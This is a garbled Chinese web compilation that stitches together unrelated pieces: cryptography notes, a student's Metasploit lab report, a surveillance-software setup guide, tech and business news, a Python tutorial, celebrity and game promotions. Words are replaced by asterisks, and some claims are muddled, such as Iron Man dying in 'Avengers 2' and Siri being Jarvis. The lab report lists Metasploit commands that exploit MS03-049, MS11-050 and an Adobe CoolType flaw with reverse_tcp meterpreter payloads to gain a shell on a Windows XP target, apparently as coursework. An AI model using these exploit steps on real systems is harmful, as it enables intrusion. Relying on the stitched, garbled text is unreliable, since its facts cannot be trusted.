　　Hash 算法也是现代密码体系中的一个重要组成部分。由于非对称算法的运算速度较慢，所以在数字签名协议中，单向散列函数扮演了一个重要的角色。对 Hash 值，又称"数字摘要"进行数字签名，在统计上可以认为与对文件本身进行数字签名是等效的。而且这样的协议还有其他的优点。

　　3）鉴权协议

　　如下的鉴权协议又被称作"挑战--认证模式：在传输信道是可被侦听，但不可被篡改的情况下，这是一种简单而安全的 *** 。

　　2. 数字签名

　　数字签名，顾名思义，就像在办公中用笔对纸质文件进行签名，它是在计算机上对数据文件进行签名，用于鉴别数字信息，验证数据发送方的身份，保证数据的完整性和不可否认性。

　　它结合使用了非对称加密技术与哈希算法来实现，它包含两种互补的运算：一个用于数字签名的签署，另一个用于数字签名的验证。签名和验签的过程一般由启用 PKI 的应用程序完成，首先由数据的发送方用哈希算法生成数据的哈希值，然后用自己的私钥将这个哈希值加密形成数字签名，将它与数据一起加密发送给接收方；接收方进行解密获得数据和数字签名后，用发送方的公钥对数字签名进行解密，如果成功解密，即证明了发送方的身份；对数字签名解密得到数据的哈希值之后，数据的接收方对数据用相同的哈希算法生成另一个哈希值，然后将这两个哈希值进行比较，如果两者相同，则证明这块数据极有可能在传输期间没有被篡改。.

　　数字签名签署和验证数据的步骤如图所示：

　　PKCS1和PKCS7标准格式的签名：

　　1. PKCS1签名：即裸签名，签名值中只有签名信息。

　　2. PKCS7签名：签名中可以带有其他的附加信息，例如签名证书信息、签名原文信息、时间戳信息等。

　　PKCS7的attached和detached方式的数字签名：

　　1. attached 方式是将签名内容和原文放在一起，按 PKCS7 的格式打包。PKCS7的结构中有一段可以放明文，但明文必需进行ASN.1编码。在进行数字签名验证的同时，提取明文。这里的明文实际上是真正内容的摘要。

　　2. detached 方式打包的 PKCS7格式包中不包含明文信息。因此在验证的时候，还需要传递明文才能验证成功。同理，这里的明文实际上是真正内容的摘要。

　　本公众号【最全资料库】所有分享，仅限学习交流！请勿他用！

　　一、实验后回答问题

　　什么是exploit、payload、encode

　　Metasploit这种模块化的设计，大大提高了代码的复用率。exploit(渗透攻击模块)利用漏洞或者配置弱点对目标进行攻击，payload(攻击载荷模块)作为一种手段，exploit通过填入和运行攻击载荷，获得远程的访问权限。encode(编码器模块)是工具之一，也是渗透攻击的一重保障——避免坏字符、使攻击载荷免杀。这3个模块是渗透攻击的核心，相辅相成。

　　二、实验总结与体会

　　通过这次实验，我学会了修改kali的IP，然后就能ping通了

　　为了和别的同学做不同的主动攻击，下载了4、5个虚拟机，通过这次实验，我学会了在虚拟机中装XP系统。实验的成功与否，有很多不确定的因素，比如中英文版本啊，可能我下载的虚拟机事先打好了补丁啊（虽然它写着原始版和纯净版）

　　这次实验很有意思，系统漏洞不容小觑，稍加利用就能变成渗透攻击的手段。对渗透攻击有了更深入的了解，最后要立一个FLAG，改掉拖延症

　　三、实验过程记录

　　ms03_049、ms06_040主动攻击

　　大家都做ms08_067,想找一个和大家不一样的.查了一下WinXPSP3，除了这个漏洞，其他漏洞像拒绝服务漏洞、任意写入权限提升漏洞太难操作了。

　　尝试了ms03_049、ms_06_040（本来想做killbill，因为电影挺好看，然鹅并没有符合条件的靶机）

　　这里的靶机是Win XP Professional原版

　　输入msfconsole进入msf,search一下

　　进入该漏洞模块的使用（use exploit/windows/ *** b/ms03_049_netapi）

　　show payload，找到一个比如shell_reverse_tcp；show targets

　　设置攻击有效载荷（set payload generic/shell_reverse_tcp）、show options并设置相关数据

　　输入exploit开始攻击

　　建立不了联接？关闭防火墙试试？还是不行

　　又试了ms06_040

　　真的做了挺多回，本来以为召唤盾牌就能成功的，看到坦克依然不成功，就发现自己想的太简单

　　也没成功，希望老师不要扣分，我毕竟和大家的主动攻击不一样呀（O_O），连不通我也很绝望

　　IE浏览器渗透攻击——MS11050安全漏洞

　　开启msfconsole，输入use exploit/windows/browser/ms11_050_mshtml_cobjetelement

　　输入info查看信息：

　　设置对应的载荷set payload windows/meterpreter/reverese_tcp；

　　show options查看需要设置的相关信息：

　　设置相关信息：set LHOST ‘kali Ip’、 set LPORT 5337、 set URIPATH baidu

　　exploit,有靶机需要访问的ip地址：

　　在靶机IE上输入网址，并在靶机上查看信息。

　　可以看见kali中显示一个session 1已经创建；

　　输入命令sessions -i 1,开始连接，输入shell成功获取shell

　　Adobe阅读器渗透攻击

　　开启msfconsole、输入命令use exploit/windows/fileformat/adobe_cooltype_sing

　　使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷,show options

　　输入exploit,生成pdf文件，并可以看到pdf所在文件夹，将pdf复制到靶机里。

　　使用use exploit/multi/handler新建一个监听模块

　　使用set payload 建立一个反向连接，设置set LPORT 5337

　　使用命令exploit开始攻击，在xp中打开pdf。同时kali会显示连接成功的结果。

　　输入shell获取靶机信息

　　在靶机xp中使用命令netstat -an,看本地tcp连接

　　辅助模块

　　本来尝试了书上的“开放 *** 探测与应用”，但是run不起来

　　枚举系统上的用户

　　使用场景

　　局域网中硬盘录像机或者 *** 摄像头需要同时被多个客户端或者网页预览、解码上墙、存储等操作时，设备取流上限往往无法支持，4200会提示报错“达到取流上限”，此时用流媒体转发就能解决。

　　流媒体服务器配置

　　1、软件安装与运行

　　将A电脑作为流媒体服务器，那么A电脑在安装客户端软件时，勾选流媒体服务器，将流媒体服务器与软件iVMS-4200 安装在同一层目录下，同时运行4200客户端和4200流媒体服务器软件。

　　2、导出安全证书

　　打开4200客户端，点击PC应用管理-4200服务器-导出安全证书

　　3、导入安全证书

　　打开流媒体服务器，进入设置-安全证书-导入，导入刚才导出的安全证书，点击确认。

　　4、添加监控设备

　　进入【维护与管理】-【设备管理】界面，点【添加】，先将需要流媒体取流的设备添加进来。

　　5、添加流媒体服务器

　　进4200软件维护与管理-设备管理-流媒体服务器界面，添加流媒体服务器，IP为这台电脑的IP。

　　6、关联设备到流媒体服务器

　　进入【维护与管理】-【设备管理】-【流媒体服务器】界面，点击【设置】进入流媒体配置界面，选择要从流媒体取流的监控点，点击确定。

　　那么A电脑作为流媒体服务器就配置好了，那么其他电脑如何通过流媒体服务器来取流呢？

　　7、导入安全证书到客户端

　　将A电脑客户端导出的安全证书，拷贝到B电脑（即需要向A电脑取流的电脑），然后B电脑安装好4200客户端，进入维护与管理-系统配置-服务组件认证界面，导入安全证书。

　　8、添加流媒体服务器

　　在B电脑的4200客户端上添加好设备，进入4200软件维护与管理-点击设备管理-流媒体服务器界面，添加流媒体服务器，IP为A电脑的IP。

　　9、关联设备到流媒体服务器

　　进入B电脑4200客户端【维护与管理】-【设备管理】-【流媒体服务器】界面，点击【设置】进入流媒体配置界面，选择要从流媒体取流的监控点，点击确定。

　　这样操作以后，B电脑上看到的画面就是经过流媒体取流后的画面啦~

　　1969年7月16日，在炽热火光下，由“土星”5 号火箭运载的阿波罗11号飞船升上太空。7月20日下午4时17分43秒，宇航员尼尔·阿姆斯特朗和巴兹·奥尔德林进入登月舱，下降至月面实现软着陆。当阿姆斯特朗踏足在月表土壤，留下一串脚印的时候，激动地说：“这是我个人的一小步，却是全人类的一大步。”当这两位宇航员携带着全人类对于宇宙的憧憬和想象，跨越38万公里征程踏上月球表面时，标志着人类在载人飞船研发和实践上取得了划时代的成就，而这更代表了人类正式开启了全新世界的穿越之门。

　　阿波罗技术的成功绝非偶然，该计划历经阿波罗4号-6号的无人测试飞行，最终在阿波罗7号-17号才实现载人飞行。直到阿波罗9号携带首个登月舱进入地球轨道，标志着人类在月球上迈出了之一步。截止2015年，阿波罗计划已经衍生出1800多项技术，正在渗透生活各个角落；如今，阿波罗计划的衍生技术更是遍及消防防护、医疗和清洁等更多领域。一场50年前的登月壮举，为之后的技术革新提供着源源不断的动力。

　　今天，距离阿波罗计划成功踏上月球已经有50年，其开拓精神始终在鼓励人类不断拓展科技边界，探秘人类的未知领域。阿波罗，可以说是蕴含开创性、对科技永不止步的精神图腾。而选择“Apollo”作为无人车“超级工程”代号的百度，也正在人工智能的宇宙里不断探秘。2013年，百度开始自动驾驶研究，自2015年起，Apollo开始大规模投入无人车技术研发。2017年4月，积攒了百度自动驾驶多年成熟经验的Apollo自动驾驶平台正式发布，将帮助汽车行业及自动驾驶领域的合作伙伴结合车辆和硬件系统，快速搭建一套属于自己的完整的自动驾驶系统。如今，百度Apollo已经完成七大版本迭代，在L3、L4级自动驾驶技术、商业化落地等方面达成多项突破，百度Apollo在具备开创性的同时，坚持开放创新，携同多方共同推进汽车、交通产业全面智能化升级。

　　“科技让生活更美好”，目前，百度Apollo已经在多项维度实现了技术突破和创新。在L4级自动驾驶领域，百度Apollo攻克量产难题，与红旗携手打造中国首条L4乘用车前装产线，其首批量产的L4级自动驾驶乘用车将率先落地长沙，兑现百度要让无人驾驶出租车跑上街头的承诺。不仅如此，百度Apollo已经积累两百万公里L4自动驾驶路测里程，为其最终实现全面量产落地打下根基。在L3级自动驾驶方面，百度高精地图获得了中国之一个全车道要素的高精地图审图号；由Apollo推出的自主泊车量产解决方案Valet Parking，利用了百度独有的车-云-图-场融合方案，目前，Apollo自主泊车已经和多家OEM、共享汽车运营商展开密切合作，加速“最后一公里自动驾驶”的率先到来。值得一提的是，百度Apollo也在积极推进自动驾驶、智能驾驶的商业化落地。目前，搭载百度车联网功能的汽车品牌已经超过60家，上市车型达300余款。可见，Apollo 正以过硬的技术实力，精益求精地做好“自动驾驶”这一全人类的共同事业。

　　古往今来，人类对于未知世界的探求从来没有停止过。50年前，宇航员阿姆斯特朗身处宇宙的静谧中，把人类和新世界联结在了一起，这是人类进入宇宙，征服未知的里程碑事件。50年后，百度Apollo自动驾驶希望未来人类在车场景内解放双手，让每个人开车时也能自由仰望星空。

　　美国总统肯尼迪振奋人心的演讲“Wechoosetogotothemooninthisdecadeanddotheotherthings,notbecausetheyareeasy,butbecausetheyarehard”传递给后人不畏艰险勇于开创的精神，为每一个人工智能开拓者所继承。百度Apollo将在领先科技的开拓事业中继续勇往直前，迈进自动驾驶全产业的一大步，以夯实的技术实力，探索交通出行的“无人之境”。

　　BMW 与腾讯在 7 月 19 日时于北京正式签署一份合作同意书，双方会共同合作打造 BMW Group China High Performance D3高性能数据驱动化开发平台，D3代表 Data-Driven Development。BMW 将运用该平台进行自动驾驶技术与新产品开发，以应付当地复杂交通环境，并满足消费者的需求。

　　BMW 自动化驾驶部门资深副总裁 Alejandro Vukotich 表示，集团最终目标在于让自动驾驶比人类驾驶还要安全，想要达成这个目标，需要大量数据模拟、测试与验证。D3数据驱动化开发平台，对集团而言就是重要的一大步。BMW 集团中国区执行长 Jochen Goller 提到，中国在自动驾驶技术开发竞争当中属于领先集团，藉着双方合作，BMW 与腾讯期望能够更进一步取得该领域的领导地位。同时这也是极具指标性的跨产业合作范例，BMW Group China High Performance D3平台将因此能够获得更适合中国当地驾驶情境的开发环境。

　　BMW 与腾讯的合作并非破天荒头一遭，双方的关系在近几年不断加深，也因此 BMW 对于腾讯在云端计算、大数据、数位安全和 AI 人工智能方面的技术实力深具信心。

　　BMW Group China High Performance D3平台预计今年底就会建造完成，并开始启用，主要资源都会用做开发 Level 3 高度自动驾驶与 Level 4 全自动驾驶功能。不过在 BMW 推出搭载 Level 3 的量产车款之前，该平台的主要任务还是会集中在验证 Level 3 技术的安全性，还有 Level 4 的早期研究。2021 年后则会转为协助 Level 3 量产车款后续开发和 Level 4 的量产推进。

　　双方合作中，腾讯负责提供自动化驾驶研究与开发相关的 IT 体系结构、工具以及平台。BMW 同时更声明，会藉着腾讯在资料安全方面的专长，严格遵守中国关于资料安全、资料安全风险预防、正确资料规格等方面的法律与规范。

　　钢铁侠在漫威宇宙中的冒险征程波澜起伏，一路又来，他磕磕绊绊，虽然遇到了不少的困难，遭到了不少人的威胁，但最终他都化险为夷，凭借着自己充满智慧的大脑，成为了一代钢铁英雄。

　　但是不可否认的是，钢铁侠有这么大的成就，他造出来的人工智能帮了他不少的忙，因为他们可以帮助钢铁侠控制战甲，可以增加他的整体实力。

　　截止目前，钢铁侠总共研发出来三款人工智能，首先是贾维斯，然后是星期五，最后是伊迪斯。其中之一代贾维斯和其他人工智能最为不同，因为他拥有丰富的感情，不像其他人工智能那么无情，甚至有时候还喜欢开钢铁侠的玩笑！

　　因此久而久之，这个角色也受到了广大观众的喜爱，但是后来在《复仇者联盟2》中，贾维斯不幸被幻视所取代，并且幻视直言他不是贾维斯，因此我们可以确定贾维斯死了。

　　为了纪念这个人工智能，现在很多手机的Siri都是贾维斯，只要对着他说出钢铁侠的一些口头禅，他就会以贾维斯的口气对你做出回答，这让很多钢铁侠的粉丝听了不禁泪目，因为在今年上映的《复联2》中，钢铁侠和灭霸同归于尽，钢铁英雄就此陨落。

　　那么，当说出钢铁侠口头禅，手机Siri到底会作出什么样的回答呢？

　　首先是当问到:“你好贾维斯。”贾维斯会回答“我恐怕不能给你制造钢铁侠的战甲。”在这里很多remix都会觉得莫名其妙，但是钢铁侠的粉丝知道，犹豫钢铁侠已经逝世，那么贾维斯再做出钢铁侠的战甲也没有什么意义了。由此可以看出，贾维斯也是非常怀念钢铁侠的！

　　当说“嘿Siri，你是贾维斯吗？”的时候，我们会听到“钢铁侠？是你吗？敬礼！”从这句话中，我们可以看出贾维斯非常人性化，因为我们能感觉到语句中他对钢铁侠得思念以及尊敬之情。

　　在知道这些Siri的回答后，我们再结合已经死去的贾维斯，还是有一点伤感的，毕竟贾维斯见证了钢铁侠的崛起，但是却没有一直陪他走到最后。总而言之，就像是每个Siri都是死去的贾维斯，喊出钢铁侠的口头禅后，还是不禁让人泪目！

　　各位看官怎么认为呢？欢迎在下方留言评论哦！

　　知识回顾：

　　1.Fromkeys *** ，初始化字典，根据键来生成字典。如果说没有给默认值，那么提供的默认值为None。如果要初始化默认值，那么只要传入第二个参数即可。

　　2.Get *** 来友好屏蔽错误。如果没有键，那么返回None

　　本节视频教程

　　文字讲解：

　　一、Items *** 说明

　　这个 *** 以元组的形式返回字典的键值对。

　　dic1={"名称:":"老刘头","工具：":"电脑","喜爱书：":"python"}

　　print(dic1.items())

　　返回值：

　　dict_items([('名称:', '老刘头'), ('工具：', '电脑'), ('喜爱书：', 'python’)])

　　注明：可以采用for循环的方式来输出列表存在于某个对象类型中的变量

　　提问：改变字典的值后，items *** 的对应变量的值会改变吗？

　　回答：

　　当然会改变。

　　理由：

　　#此处的赋值其实是一个指针的指向。

　　dic1Items=dic1.items()

　　指针理解：假设要在书上找一个字，小纸条上写着书上第几页第几段第几个字。

　　二、使用keys *** 来获取字典的值

　　通过dic1.keys()形式来输出字典中所有的键。

　　返回结果：

　　dict_keys(['名称:', '工具：', '喜爱书：’])

　　这个结果其实是一个对象类型，我们也可以将其转换为列表。

　　转换：可以通过list *** 进行数据类型转换

　　dic1keys=list(dic1.keys())

　　转换后可以直接当列表使用。

　　三、如何直接批量输出字典的值？

　　我们可以直接使用字典自带的values *** 。

　　#现在开始使用values *** 举例

　　print(dic1.values())

　　四、总结强调

　　1.掌握items *** ，返回元组形式的列表对象

　　2.掌握keys *** ，返回键的列表对象

　　3.掌握values *** ，返回值的列表对象

　　4.掌握字典的赋值原理。

　　五、本节源码

　　代码执行结果：

　　import matplotlib.pyplot as plt

　　x_data=[1,2,3,4,5]#假定的X轴数据

　　y1_data=[x**2 for x in x_data]#假定Y轴数据是X轴数据的平方

　　y2_data=[x**3 for x in x_data]#假定Y轴数据是X轴数据的立方

　　l1,=plt.plot(x_data,y1_data,label='squre')#将平方数据展示在图上l2,=plt.plot(x_data,y2_data,label='cubic')#将立方数据展示在图上

　　plt.xlabel('x_label')#设置x轴的标签为x_label

　　plt.ylabel('y_label')#设置x轴的标签为x_label

　　plt.title('lineplot example')#设置图表标题

　　plt.legend()#设置图例的前题是l1,l2指定了label

　　plt.show()

　　说到今年的高考不得不提到一个人那就是广西理科状元杨晨煜了，前段时间杨晨煜的名字也成为了 *** 热词甚至一度成为热搜关键词，主要的原因在于杨晨煜作为广西的一名理科考生今年考出了730分的好成绩，而对于满分750分的总分数来说这已经是十分逆天的成绩了。

　　杨晨煜不仅创下了今年的高考更高分记录，而且还打破了历年广西高考更高分记录，同时杨晨煜的高考科目中语文以140分高分，数学英语皆满分的成绩示人，让人对于这位学霸也只有膜拜的份了。

　　毕业于南宁二中的杨晨煜不仅有着好的成绩，而且颜值也很高，甚至被一些人调侃为高考版吴亦凡，而对于高考以后杨晨煜的去向很多人也是十分关注的。

　　一般来说，对于高考状元的去向无外乎是清华北大，虽然也有人选择其他高校，但是从历年的统计比例来说还是清华北大两校占了绝对的优势。

　　而从今年的广西一批次高招阶段的情况可以看出，杨晨煜已经被清华所录取，这也让很多人有了另外的猜想，有着高颜值的杨晨煜是否会和才女武亦姝在清华相识成为了不少人调侃的话题。

　　杨晨煜报考清华其实专业是可以随便自己选的，而最后杨晨煜选择了计算机科学与技术，而且将将师从姚期智学习人工智能。

　　而姚期智是清华人工智班的发起人和领军者，也就是说杨晨煜被这个新兴的智班录取，而智班也是19年新成立的，主要的目的就是培养人工智能领域的高尖端人才。

　　而智班的发起者姚期智也是清华交叉信息学院的院长，并且还获得过业界更高奖项图灵奖，姚期智的智班从今年开始招生首批仅有25名学生，杨晨煜为其中一员。

　　其实智班是在当下十分火热的人工智能领域研究路程中的新尝试，而杨晨煜作为理科超级学霸，一直以来对于计算机充满了兴趣，而且杨晨煜也曾经表示对人工智能看好，也会位置努力。

　　当杨晨煜被清华智班录取消息在网上传开以后，网友们纷纷热议，有不少人看好杨晨煜，并视杨晨煜为人工智能未来的希望。

　　虽然每年高考状元在大学以后很少被提及和关注，但杨晨煜未来所涉及专业领域与人们息息相关，也希望杨晨煜在大学中可以学有所成为国家的建设作出自己的贡献。

　　对此你是如何看待的呢？你看好杨晨煜在大学以后的发展吗

　　云计算提供商iNSYNQ遭到了勒索软件攻击，迫使该公司关闭其部分服务器以遏制恶意软件蔓延并影响更多的客户数据。

　　iNSYNQ是获得授权的微软、Intuit和Sage主机托管提供商，为客户提供基于云的虚拟桌面，旨在托管运行QuickBooks、Sage、Act和Office等商业应用软件。

　　该公司支持网站上发布的状态更新显示：“iNSYNQ在2019年7月16日遭遇身份不明的恶意攻击者发动的勒索软件攻击。这起攻击影响了属于某些iNSYNQ客户的数据，导致此类数据无法访问。”

　　“iNSYNQ一发现攻击，就采取了措施以遏制攻击，包括关闭iNSYNQ环境中的一些服务器。此举旨在保护我们客户的数据和备份。”

　　iNSYNQ状态

　　这家云托管公司还表示，它已聘请 *** 安全专家帮助恢复受影响的客户数据和所有客户的虚拟桌面的访问。

　　正如iNSYNQ的首席执行官（CEO）Elliot Luchansky在信中补充的那样，“许多人索要备份内容，这可以理解；我非常清楚地告诉大家，我们并没有拒绝给予数据或备份，眼下我们根本无法安全地访问数据或备份。”

　　“我们仍将竭尽全力，确保我们解决了根本问题后您可以使用备份。我们整个团队都在努力保护和恢复受影响数据的访问[...]。”

　　Luchansky还回答了iNSYNQ客户在勒索软件攻击造成服务停运后提出的一些问题：

　　“遗憾的是，这种事情不可避免。没有哪个系统完全不受恶意软件的攻击，我们都是身份不明的不法分子发动的攻击的受害者。我们希望我们有办法完全消除这些风险。如果我们真有办法，那么显然这种事永远不会发生。”

　　他还表示，目前还不知道客户的环境到底时恢复正常，但iNSYNQ团队正在加快恢复客户的数据，使所有系统恢复如初。

　　iNSYNQ的CEO发布的信函

　　Luchansky补充道：“我们一发现遭到攻击，立即关闭了服务器，目前正与擅长处理此类事件的业界知名专家密切合作，以便我们能够尽快恢复访问。”

　　iNSYNQ的CEO还说：“我们一意识到问题，就控制住形势。没有证据表明您的任何文件都已从iNSYNQ环境复制过来。眼前的问题在于能否访问已经加密的文件；这不是您的数据被盗或被复制的问题。”

　　虽然CEO在安全事件后发给公司客户的这封信提供了关于此事件的一些额外信息，但Luchansky的Twitter帐户或现在再也访问不了的iNSYNQ帐户上并没有提到针对iNSYNQ发动的勒索软件攻击。

　　与iNSYNQ团队取得联系的一个客户表示，客户们的数据备份存放在一台单独的服务器上，但该服务器所在的 *** 受到了这次 *** 攻击的影响。

　　该公司还认为所有客户数据都将被恢复，但核查所有备份以确保恶意软件绝不影响它们却需要一段时间。

　　iNSYNQ的CEO给我们发布以下声明：

　　虽然我无法透露这个特定的勒索软件或受影响的服务器数量方面的详细信息，但可以透露一点，iNSYNQ和我们的客户是这次恶意软件攻击的受害者，这是一种全新的变种，之前从未被发现，我们雇用的经验丰富、见多识广的 *** 安全团队证实了这点。

　　遗憾的是，我们没法透露更多细节，因为我确信您熟悉这样的情形。我们的客户及其数据是我们的重中之重。透明度是我们引以为豪的方面。然而，这种情况下缺乏详细信息是有意为之。我们在幕后尽我们所能保护和恢复我们的系统和客户数据及备份，这方面透露太多的信息会将我们和我们的客户置于险境。

　　我的团队会继续全天候工作，以保护和恢复对所有受影响数据的访问，我们相信我们很快就能恢复如初。

　　7月18日下午消息，滴滴顺风车下线325天之后首次召开媒体开放日。

　　会上，滴滴顺风车产品负责人何棣透露，滴滴顺风车女性车主占5%，女性乘客超过半数。

　　滴滴顺风车公开了女性专属保护计划，包括行前防挑单模式、全程女性专属安全助手，及特殊场景保护升级三项。

　　据滴滴顺风车产品经理介绍，通过滴滴顺风车女性安全助手，女乘客和女车主可以看到合乘用户的一系列信息：比如当前接单车主驾龄、车龄，通过人脸识别的具体时间等。而在长距离出行等特殊场景下，平台也会要求合乘用户多次人脸识别，提醒女性用户开启行程分享，并自动对行程进行录音等。如发生轨迹偏移、长时停留等异常情况，会对用户进行预警、询问用户反馈是否安全等。

　　目前来讲不得不说，区块链的社群运营方式还是远远落后于成熟的互联网运营方式。

　　谈运营之前先说说区块链生态圈下的用户在哪里？

　　区块链生态下的用户可以分为3类：

　　之一类是币圈投资者；

　　第二类是DApp用户，可以是B端或C端；

　　最后一类是代码贡献者或管理志愿者。

　　三块用户相互关联与重合，重合的部分越多整个生态圈越稳定。

　　用户运营：TOKEN的价格最终需要用户来买单

　　用户运营，通常包括微信群、推特、微博、以及区块链行业专用的社区如币用等等。

　　从用户群体看，区块链项目大概包括：投资型、技术型、应用型、创意设计、地域划分等等。在所有用户当中，绝大部分是投资型用户，因为区块链Toekn的特殊性，这一点很像是炒股的用户。

　　技术型用户其次，因为投资区块链项目的，有相当一部分人是技术、产品，或者是懂一点区块链技术的人。

　　应用型用户，绝大部分也是懂技术，或者在做一些项目的，这类社区较少，或者人数较少，我见过的不多。

　　在一个区块链项目里，即使是投资型用户，在社群中，也还有很多分类，包括：早期核心群，普通群等。不同的社群，群内话题、内容、包括QA问题都是不同的。

　　核心用户：这类用户，人数可能只有几百人，但却是早期忠实用户，有一定的意见领袖特质，对项目支持度高，这样的社群，几乎可以不用内容、QA支持。甚至还能加以引导社群的用户，不断对外输出内容（信仰、吹水、区块链的普及，项目介绍等等）、QA。

　　比特币社区、以太坊社区等早期项目的用户中核心用户群体大，所以当项目有一定利好时，便会对币价有大幅推高。

　　普通用户：这类用户，大部分是后面通过各种原因进来的投资者，这样的用户虽然人数多，但经常出现两极分化，一类是装死，几天没人说一句话；

　　一类是废话太多，容易出现对项目、对社群不利的主题言论，切极易大范围传播。这类用户，需要有项目的忠实支持者，QA，意见领袖进驻，时时引导，保持活跃。

　　技术型用户相对简单，只要有足够人数，甚至可以怼技术方向分类，但一般还用不着。在技术型用户中，不一定全部是真正懂技术的，可能有很多是伪技术，有句话，熟读唐诗三百首，不会写诗也会吟。这些人一般会比较活跃，有较多问题，社群的活跃度，很大一部分靠这些人。

　　但是有一点一定要注意，从很多技术型社群的运营的经验来看，技术社群更好不要柔和进太多投资者，否则可能会产生消极影响。

　　目前已经开始有项目进行去中心化运营的尝试，但还未有非常成功的标杆项目出现，听说有个国内老牌公链阿希社区就在尝试，但目前该项目情况似乎并不乐观。

　　目前来讲，还需要多借鉴传统互联网项目的运营方式，去中心化还有些遥远。

　　说到人类历史上最为伟大的科学家和物理学家，霍金必定存在有其一席之地。霍金虽然因为患病而导致行动不便，但是他对于太空、黑洞等等的研究还是十分深入的，并且给予了人类社会许多的贡献。霍金于去年三月份离世，在他去世之前曾经不断向人类发出过警告。人们不禁会发出疑问，到底他看到了什么才会如此紧张呢？

　　首先的一个劝告就是关于外星人的。霍金告诫人类不要轻易尝试去和外星人取得联系，因为我们并不能知道外星人到底是充满恶意还是善意的。如果我们成功联系了外星人，将会给人类社会带来巨大的危害也未可知。第二就是关于在2117年，人类必须成功搬离地球的预言。霍金早在之前就告诫人类，一定要努力寻找和地球构造结构相似的星球，以便于人类能够进行迁移。而这个时间就精确到了2117年，如果没有搬离的话，人类很有可能遭受灭顶之灾。

　　最后一个预言就是和目前的科技息息相关的人工智能——霍金称，如果人类对于人工智能的依赖程度持续增加，那么在不久后的将来，人工智能很有可能就会拥有自己的意识然后再统治整个人类世界。其中最值得深思的国家就是日本，因为日本对于人工智能的研究是比较深入的。

　　许多人对于霍金的这三大预言是持怀疑态度的，认为根本就是无稽之谈——一个人怎么可以预知到这么以后的东西呢？但是还有一些人是相信霍金的理论的，因为就目前的态势来看，其对于人工智能的预测充满了科学性，所以我们必须引起一定的重视，不能够再过度依赖人工智能产品了。对于这三个预言，你是怎么看呢？

　　腾讯旗舰级RPG手游龙族幻想不删档测试正火热进行中，众多玩家挤破头只为撇得龙族幻想一眼。当然，你以为挤的头破血流就能进入游戏吗？你若这么想就太天真了。

　　目前龙族幻想有12个区，每个区下设多个服务器，然而这么多服务器却抵挡不住注册玩家的人数众多，基本上前10个大区的服务器已经满员，只有那些手速超群的幸运儿有幸注册在龙族一区或者靠前的大区。而像小编这样后知后觉的人，等下载好游戏时第10个大区的服务器也接近满员，点击了一个不算拥挤的服务器进入后，才发现是这个样子的：

　　小编为了不排队，选择了第11大区的服务器，瞬时秒进。虽然小编也想在之一区玩，奈何晚别人一步。不过没关系，在哪个区都是玩，小编还是建议各位玩家选择畅通的服务器注册哦。那么问题来了，龙族幻想究竟有什么魅力，让玩家为之“疯狂”呢？下面小编为大家一一道来。

　　呆萌的萝莉，温婉的少女以及性感的御姐，龙族幻想中的捏脸系统给予玩家们充分的发挥空间，可以自己打造不同的人物造型，在细节方面也是精益求精，多种妆容发饰，风格多变，玩家可体验搭配的极大乐趣。但最令人心动的是它拟真的动态效果，当一个如花似玉的小姑娘含情脉脉的望着你，岂能不心神荡漾？眨眼与嘟嘴都做的十分逼真，玩家能够切实感受到人物的心情变化，带来更好的游戏体验，增强了代入感。

　　在战斗设置上，龙族幻想也是尽力将呈现效果做的真实动人，无论是怪兽的咆哮声还是人物的喘气声都极好的呈现出了龙族幻想所打造的这个拟真世界。打击触感恰到好处，一键滑动或进攻或防御，玩家指尖操作更加流畅，完全可以体验到酣畅淋漓的游戏打斗 *** ，一天的烦恼皆被驱散。

　　不仅如此，在日常中，衣袖也随着人物的走动而摆动，发丝轻垂却又不死气沉沉的一动不动，可以很明显的看出，风过时柔发扬起的场景，动态拟真做到了极致。

　　比如赛车，车尾喷气，车身飘逸，超强拟真体验使玩家们能感受到它所带来的 *** ，左边控制方向，右边加速或倒车，玩法简单但却并没有降低赛车的 *** 体验。又或是打篮球玩法，同样指尖操作，不过更考验玩家技术，打篮球的乐趣丝毫不亚于NBA2K。

　　龙族幻想的动态效果确实是一大吸引玩家的优势，如果想进一步了解，那就下载游戏，一起进入龙族幻想所打造的拟真世界吧！

　　安卓系统一直以来被人诟病的问题就是“卡顿”，特别是长期使用后，手机运行速度大不如前。这也让此前使用安卓手机的用户埋上了阴影。

　　虽说这些年安卓系统进步非常大，但是和苹果IOS的流畅性还是有一些差距。相信众多消费者都认为手机使用时间过长，甚至已经到来该换的时候，所以手机的卡顿情况就越来越明显。

　　从开发局角度来看，iOS用的是Objective-C编程，而安卓则通过java虚拟机来运行，前者比后者的效率更高。从内存管理的角度来看，由于IOS的内存用完会被立即回收，而安卓则是由后台管理内存。

　　新的系统一出来很多小伙伴就会迫不及待的进行升级，但其实随着手机使用时间的不断增加，手机的配置也在不断的落后，要去适配新系统其实是很难的。

　　对于同一个信息推送，安卓手机会先在后台启动这个信息推送的APP，同时还有可能唤醒相关联的全家桶APP。如此安卓手机越用越久，下的APP也越多，可能每一次消息推送时带动的关联APP也越来越多。

　　今天早上想起一件大学时的趣事，我记得某一节人工智能课上，老师忽然要我们上台即兴谈谈自己对人工智能的感悟。事情的突然性让人措手不及，同学们一个个就象赶鸭子上架似的，草草而谈，我看见老师的表情没什么变化，或许是有些失望了。

　　很快就论到我了，我此时才发现自己对凳子是如此的眷恋。迈开灌铅似的腿，艰难地走到了讲台，几十双明锐的眼睛正注视着我。这三尺讲台是个多么神圣的地方，它能赐给你威严，同样也会使你紧张。渐渐地，我的思路开始模糊，那装满记忆的脑细胞也似乎被冻结了起来……死就死吧，我摆出了拼命三郎的姿态，干脆将自己的眼睛移向了天花板，尽管我知道上面并没有什么。今天我演讲的题目是：《人工智能，我期待一场新的革命》……Everything goes well，接下来，我很快便忘却了紧张，我的思路豁然开朗起来，于是旁征博引，谈古论今，仿佛将一叶扁舟驶向大海……

　　教室里想起了久违的掌声，老师说我可以此观点作一篇论文了，我当时就臭屁地觉得自己就是为人工智能而生的，呵呵。如果说男人都贪恋金钱和美人的话，那么我想补充说：还有掌声！

　　以上只是人生中一个小小的插曲，之所以要放大它，只是想说明一个道理：一个人成功之道最主要的落脚点不是漂亮的语言，而是笃行，只有笃行才能让你彻底地消除恐惧。一个跳伞的人时间拖的越久就越害怕也越没信心。美国著名的播音员爱德华在面对麦克风之前总是满头大汗，尽管他是个资深的播音员，可是一开始播音后所有的恐惧立即烟消云散了。如此可见：一个人的行为影响他的情绪，因为积极的行动能带来及时的反馈和成就感，也能带来节节成功的喜悦。

　　詹姆斯.威廉说：“与其兴之所至才击节高歌，不如先引吭高歌带动心情。”

